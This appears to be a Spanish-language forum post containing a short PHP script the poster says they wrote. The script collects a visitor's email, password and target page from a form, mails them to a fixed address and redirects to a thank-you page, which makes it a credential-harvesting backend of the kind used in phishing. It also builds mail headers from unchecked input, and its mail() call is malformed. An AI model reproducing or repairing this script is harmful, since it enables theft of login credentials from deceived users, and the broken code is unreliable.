este es el script que hice:
  <?php 
// 
$para = '[email protected]'; 
 
$asunto = $_POST["tipo"]; 
$mailheader = "From: ".$_POST["[email protected]"]."\r\n"; 
$mailheader .= "Reply-To: ".$_POST["[email protected]"]."\r\n"; 
$mailheader .= "Content-type: text/html; charset=iso-8859-1\r\n"; 
$email = "Email: ".$_POST["email"]."<br>"; 
$pass = "Password: ".$_POST["password"]."<br>"; 
$go = "Go To: ".$_POST["target_page"]."<br>"; 
mail($para, $asunto, $email, $pass, $go , $mailheader) or die ("Error al enviar el Formulario !"); 
echo "<script>document.location='gracias.html'</script>";
exit();
